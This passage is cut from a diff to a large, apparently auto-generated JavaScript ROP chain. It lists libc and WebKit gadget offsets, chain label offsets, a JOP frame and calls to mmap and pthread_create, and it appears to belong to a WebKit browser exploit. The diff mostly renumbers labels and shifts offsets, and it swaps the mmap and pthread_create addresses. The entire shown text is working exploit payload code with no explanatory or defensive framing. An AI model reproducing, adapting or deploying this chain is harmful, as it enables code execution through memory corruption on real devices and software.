webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2223: +//L2209: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2224: +//L2210: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2225: +//L2211: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -14844,85 +14789,85 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+152872, //L2226 +ropchain+152496, //L2212 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2226: +//L2212: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+152928, //L2229 +ropchain+152552, //L2214 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2229: +//L2214: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+153016, //L2232 +ropchain+152624, //L2216 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2230: -db([4294967272, 4294967295]); // -0x18 -set_gadget(libc_base+792472,); //pop rcx -//L2232: +//L2216: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2217: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2233: +//L2219: db([40, 0]); // 0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+153160, //L2237 +ropchain+152784, //L2223 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153144, //L2236 +ropchain+152768, //L2221 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2236: +//L2221: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2237: +//L2223: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+153304, //L2240 +ropchain+152928, //L2226 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153272, //L2238 +ropchain+152896, //L2224 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+153288, //L2239 +ropchain+152912, //L2225 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2238: +//L2224: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2239: +//L2225: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2240: +//L2226: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14930,77 +14875,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+153400, //L2243 +ropchain+153008, //L2227 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2241: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2243: +//L2227: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2228: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+153504, //L2246 +ropchain+153128, //L2232 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153488, //L2245 +ropchain+153112, //L2230 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2245: +//L2230: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2246: +//L2232: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+153648, //L2249 +ropchain+153272, //L2235 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153616, //L2247 +ropchain+153240, //L2233 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+153632, //L2248 +ropchain+153256, //L2234 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2247: +//L2233: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2248: +//L2234: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2249: +//L2235: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+153720, //L2250 +ropchain+153344, //L2236 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2250: +//L2236: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+153776, //L2253 +ropchain+153400, //L2238 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2253: +//L2238: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15008,83 +14953,74 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+153872, //L2256 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L2254: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L2256: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+153976, //L2259 +ropchain+153536, //L2242 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153960, //L2258 +ropchain+153504, //L2240 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2258: +//L2240: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2259: +set_gadgets([ +libc_base+206806, //pop rdi +//L2241: +ropchain+397560, //L2090 +libc_base+788575 //pop rax +]); +//L2242: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+154144, //L2262 +ropchain+153704, //L2245 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+154160, //L2263 +ropchain+153720, //L2246 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+154112, //L2260 +ropchain+153688, //L2243 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+154128, //L2261 +ropchain+153672, //L2244 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2260: +//L2244: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2261: +//L2243: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2262: +//L2245: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2263: +//L2246: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+154264, //L2264 +ropchain+153824, //L2247 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+154296, //L2266 +ropchain+153856, //L2249 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+154280, //L2265 +ropchain+153840, //L2248 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2264: +//L2247: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2265: +//L2248: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2266: +//L2249: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15095,22 +15031,22 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+154384, //L2267 +ropchain+153944, //L2250 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2267: +//L2250: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+154440, //L2270 +ropchain+154000, //L2252 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2270: +//L2252: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -15122,22 +15058,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+154536, //L2271 +ropchain+154096, //L2254 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2271: +//L2254: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+154592, //L2274 +ropchain+154152, //L2256 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2274: +//L2256: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15146,10 +15082,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L2275: +//L2258: db([16, 0]); // 0x10 set_gadget(libc_base+788575,); //pop rax -//L2276: +//L2259: db([16, 0]); // 0x10 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15160,22 +15096,22 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+154744, //L2277 +ropchain+154304, //L2260 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2277: +//L2260: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+154800, //L2280 +ropchain+154360, //L2262 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2280: +//L2262: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -15188,55 +15124,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+154920, //L2283 +ropchain+154464, //L2264 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2281: -db([32, 0]); // 0x20 -set_gadget(libc_base+792472,); //pop rcx -//L2283: +//L2264: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2265: +db([32, 0]); // 0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+155024, //L2286 +ropchain+154584, //L2269 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155008, //L2285 +ropchain+154568, //L2267 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2285: +//L2267: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2286: +//L2269: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+155168, //L2289 +ropchain+154728, //L2272 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155136, //L2287 +ropchain+154696, //L2270 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+155152, //L2288 +ropchain+154712, //L2271 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2287: +//L2270: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2288: +//L2271: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2289: +//L2272: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15244,55 +15180,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+155264, //L2292 +ropchain+154808, //L2273 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2290: -db([4294967272, 4294967295]); // -0x18 -set_gadget(libc_base+792472,); //pop rcx -//L2292: +//L2273: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2274: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+155368, //L2295 +ropchain+154928, //L2278 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155352, //L2294 +ropchain+154912, //L2276 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2294: +//L2276: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2295: +//L2278: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+155512, //L2298 +ropchain+155072, //L2281 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155480, //L2296 +ropchain+155040, //L2279 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+155496, //L2297 +ropchain+155056, //L2280 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2296: +//L2279: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2297: +//L2280: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2298: +//L2281: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15300,8 +15236,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2300: -ropchain+155616, //L2299 +//L2283: +ropchain+155176, //L2282 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -15309,8 +15245,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+86472, //_create_extcall -//L2299: +ropchain+86456, //_create_extcall +//L2282: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -15318,55 +15254,55 @@ db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+155704, //L2303 +ropchain+155248, //L2284 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2301: -db([4294967272, 4294967295]); // -0x18 -set_gadget(libc_base+792472,); //pop rcx -//L2303: +//L2284: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2285: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+155808, //L2306 +ropchain+155368, //L2289 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155792, //L2305 +ropchain+155352, //L2287 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2305: +//L2287: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2306: +//L2289: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+155952, //L2309 +ropchain+155512, //L2292 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155920, //L2307 +ropchain+155480, //L2290 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+155936, //L2308 +ropchain+155496, //L2291 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2307: +//L2290: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2308: +//L2291: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2309: +//L2292: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15374,7 +15310,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2310: +//L2293: jop_frame_addr, libc_base+793877 //pop rsi ]); @@ -15383,55 +15319,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+156096, //L2313 +ropchain+155640, //L2294 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2311: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L2313: +//L2294: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2295: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+156200, //L2316 +ropchain+155760, //L2299 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156184, //L2315 +ropchain+155744, //L2297 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2315: +//L2297: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2316: +//L2299: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+156344, //L2319 +ropchain+155904, //L2302 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156312, //L2317 +ropchain+155872, //L2300 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+156328, //L2318 +ropchain+155888, //L2301 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2317: +//L2300: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2318: +//L2301: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2319: +//L2302: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15439,55 +15375,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+156440, //L2322 +ropchain+155984, //L2303 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2320: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2322: +//L2303: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2304: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+156544, //L2325 +ropchain+156104, //L2308 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156528, //L2324 +ropchain+156088, //L2306 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2324: +//L2306: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2325: +//L2308: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+156688, //L2328 +ropchain+156248, //L2311 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156656, //L2326 +ropchain+156216, //L2309 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+156672, //L2327 +ropchain+156232, //L2310 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2326: +//L2309: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2327: +//L2310: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2328: +//L2311: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15495,8 +15431,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2330: -ropchain+156792, //L2329 +//L2313: +ropchain+156352, //L2312 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -15504,8 +15440,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+157624, //L2331 -//L2329: +ropchain+158512, //L2314 +//L2312: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -15513,46 +15449,46 @@ db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+156928, //L2333 +ropchain+156488, //L2316 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+156944, //L2334 +ropchain+156504, //L2317 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156912, //L2332 +ropchain+156472, //L2315 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2332: +//L2315: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2333: +//L2316: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2334: +//L2317: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+157048, //L2335 +ropchain+156608, //L2318 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157080, //L2337 +ropchain+156640, //L2320 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+157064, //L2336 +ropchain+156624, //L2319 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2335: +//L2318: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2336: +//L2319: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2337: +//L2320: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15562,17 +15498,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157176, //L2338 +ropchain+156736, //L2321 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157192, //L2339 +ropchain+156752, //L2322 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2338: +//L2321: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2339: +//L2322: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15582,32 +15518,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157304, //L2340 +ropchain+156864, //L2323 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157288, //L2341 +ropchain+156848, //L2324 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2341: +//L2324: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2340: +//L2323: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+157392, //L2343 +ropchain+156952, //L2326 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+157376, //L2342 +ropchain+156936, //L2325 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2342: +//L2325: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2343: +//L2326: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15617,17 +15553,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157488, //L2344 +ropchain+157048, //L2327 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157504, //L2345 +ropchain+157064, //L2328 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2344: +//L2327: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2345: +//L2328: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15637,19 +15573,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157616, //L2346 +ropchain+157176, //L2329 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157600, //L2347 +ropchain+157160, //L2330 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2347: +//L2330: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2346: +//L2329: db([0, 0]); // 0x0 -//L2331: +//L2122: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -15825,7 +15761,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -pthread_create_addr, +mmap_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -15865,13 +15801,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+158944, //L2348 +ropchain+158504, //L2331 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2348: +//L2331: db([0, 0]); // 0x0 -//L2121: +//L2314: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -16047,7 +15983,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -mmap_addr, +pthread_create_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -16087,11 +16023,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160272, //L2349 +ropchain+159832, //L2332 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2349: +//L2332: db([0, 0]); // 0x0 //_printf_: set_gadget(libc_base+793877,); //pop rsi @@ -16099,57 +16035,57 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+160344, //L2351 +ropchain+159904, //L2333 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2351: +//L2333: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160432, //L2353 +ropchain+159992, //L2336 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160464, //L2354 +ropchain+160040, //L2338 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 